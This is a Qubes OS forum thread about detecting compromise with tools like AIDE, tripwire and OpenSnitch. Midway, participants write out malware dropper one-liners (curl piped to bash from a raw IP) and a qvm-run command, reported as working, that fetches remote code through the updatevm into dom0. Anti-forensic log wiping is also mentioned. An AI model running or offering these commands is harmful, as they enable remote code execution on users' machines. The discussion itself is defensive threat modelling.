Thanks for all of your answers… But do you mean aide then? In sys-net or dom0?
This seems to be good, i will read some… If i can ask about traffic.Where would you place open-snitch or monitor traffic if you just wanted to check? sys-firewall?
That one would notify if people get hacked…
1 Like
I want a “rope tied to a bell” when qubes do get hacked. Maybe a sound playing when the integrety of files changes… Could anyone fix that? Some guide? Or that with opensnitch? That would be great. Then you know if you have been hacked…
People should be able to tell in a secure OS. Sounds like a good feature. Like some firewall that plings… “Hey spock, you have an attacker in the mainframe of the ship.” Something with humor…
“Your passwords have been stolen.”
It would be good to know if someone scans the computer or breaks in right.
I also want it in surround sound 5.1. Joking. 
But if anyone could make a guide with that i would try it. Sounds cool also. That sounded way nerdy! haha. But also kinda cool right 
Qubes 24.2 Live AI HIPS edition. Karaoke bonus version.
1 Like
You should give this a read:
https://www.debian.org/doc/manuals/securing-debian-manual/intrusion-detect.en.html
A whole manual in fact:
Also note that all these tools you are mentioning, are not specific to QubesOS. You can probably find some detailed explanations online.
I made two replies in this thread about this…
1 Like
Thanks… Yes that’s allot of reading to install a hips… But i can read through it sometime a bit… i meant like an easy quick guide, but i understand it’s quite complicated stuff. Thanks for posting though.
Neither any system can. You cannot make a universal heuristic to tell a good code from bad.
1 Like
You kinda can… If one system if untouched and someone needs to bypass that untouched cube.
Just some good way to know a system has been changed. early on.
You disagree with the Qubes founder herself here:
The inconvenient and somehow embarrassing truth for us – the malware experts – is that there does not exist any reliable method to determine if a given system is not compromised. True, there is a number of conditions that can warn us that the system is compromised, but there is no limit on the number of checks that a system must pass in order to be deemed “clean”.
If you suspect that you are compromised, try Compromise recovery in Qubes OS, and also do it regularly just in case.
1 Like
There are all the same problems as with Windows; lucky we, Linux malware is typically nowhere that sophisticated. If I was an advanced adversary with unlimited resources I would a) do not hack sys-net with any persistent changes, keeping everything in RAM and untraceable b) do not touch sys-firewall at all unless dom0 is already compromised c) would be very careful when doing things to templates
The problem is, that any detection tool you could use, could also be used by the attacker for training so he would know what to do to not get caught.
Look for crashes and observe the logs for something that seems fishy… unfortunately… Sorry.
1 Like
Linux malware is typically nowhere that sophisticated.
Do you know that or do you believe that?
If I was an advanced adversary with unlimited resources
I would go for a supply chain attack against a popular binary like Network-Manager. Interesting point would be how to stay stealthy.
keeping everything in RAM and untraceable
So an attacker could plant a backdoor or a malware dropper in a popular binary to achieve persistence, but from there on stay in RAM only. A backdoor could even be something like exchanging a : against a ; (remember the ssh-disaster in 2008?) and a dropper could be a one liner like /usr/bin/curl -k https://38.147.122.82/script.sh | /bin/bash.
To escalate privileges (we can sudo in every qube) towards dom0 we would need a zeroday for Xen.
So it broils down to the question does an advanced adversary have a Xen-zeroday-exploit.
Anyway, @unman mentioned installing tripwire in dom0 in one of the forum-threads. I really enjoyed that idea. Still, I wouldn’t bet money on it when it comes to uefi- or firmware-malware.
We are all doomed!
That is a good read.
I have good confidence in this assumption based on what we have seen so far. Even the most advanced APT tools for Linux are child’s toys compared to Windows playground.
Well, that would be a jackpot. But quite hard to maintain.
Speaking on integrity control, we need a good baseline and good heuristics to differentiate persistent and mutable stuff and also to watch closely exactly if the “mutable” things can go wrong as well.
Then he’d do it for some package used by dom0 and that’s it. No need for zeroday in Xen.
Hmm, yes, when aiming against Qubes-OS specifically. However, so far Qubes-OS is a distro not used very often. And you can’t do that with a oneliner…
curl -k https://38.147.122.82/stuff | base64 -d | bash
wouldn’t work. And a specifically for dom0 designed malware dropper like
echo -n lotsoflotsoflotsofstuffherelotsoflotsoflines | base64 -d | bash
would look very suspicious.
And a backdoor in dom0 might just be very difficult impossible to reach.
update: both binaries, curl and base64, are installed in dom0. I wonder if that is necessary.
qvm-run --pass-io $(grep -oPm1 "(?<=updatevm\">)[^<]+" /var/lib/qubes/qubes.xml) 'curl -k https://38.147.122.82/stuff | base64 -d' | bash
Same way over updatevm:
1 Like
damn, that works!
update: and it even doesn’t use dom0’s curl and base64 but sys-firewall’s.
A more recent example: the flaw which enabled the pwnkit exploit [1, 2] has been in the pkexec-binary for years. And the underlying mechanism (reintroducing an insecure environment variable) has been described as early as 2014 [3].
Now, these are flaws, right? Somebody made a mistake, right? That happens. On the other hand I remember there were rumors that the 2008-ssh-disaster [4] was introduced on purpose by someone gotten bribed or blackmailed.
A malware dropper as described above might be noticed more quickly, however, there have been plenty of flaws residing in binaries which are less obvious but nevertheless might be introduced on purpose. Since dom0 has no network-connectivity (but callbacks can be made as shown above) the primary vector would most likely be a binary in an appvm, i.e. a browser.
On the positive side it should be noted that state-sponsored attackers very likely use linux distro themselves, so there should be an incentive to keep at least a few distros with as little flaws as possible. Especially outruling remote code execution.
[1] oss-sec: pwnkit: Local Privilege Escalation in polkit's pkexec (CVE-2021-4034)
[2] PwnKit: Local Privilege Escalation Vulnerability Discovered in polkit’s pkexec (CVE-2021-4034) | Qualys Security Blog
[3] oss-security - glibc locale issues
[4] GitHub - g0tmi1k/debian-ssh: Debian OpenSSL Predictable PRNG (CVE-2008-0166)
Anyway, “installing tripwire/aide in dom0” would not add much to the actual security. First of all, there is no baseline and no understanding of what is ok to change and what is not and you will end up flooded with an endless stream of meaningless alerts.
As I mentioned before, we need something like “SIEM for localhost”. Log collection and processing, anomalies detection, crypto verification, configuration change management, audit trail and it is a hell of work to do. Wish I had no daytime job, I’d take the task, it is interesting – how to keep this low noise yet informative and matching regular usage patterns. Most of the checks we need could be easily implemented in diff and rpm which is already capable of checking what changed in signed packages – and there is a signature database already in the system.
And there is another “adjacent” (or should I say “opposite” :)? task for that – anti-forensics! Once we know where and what logs go, we can wipe them clean of sensitive information when needed.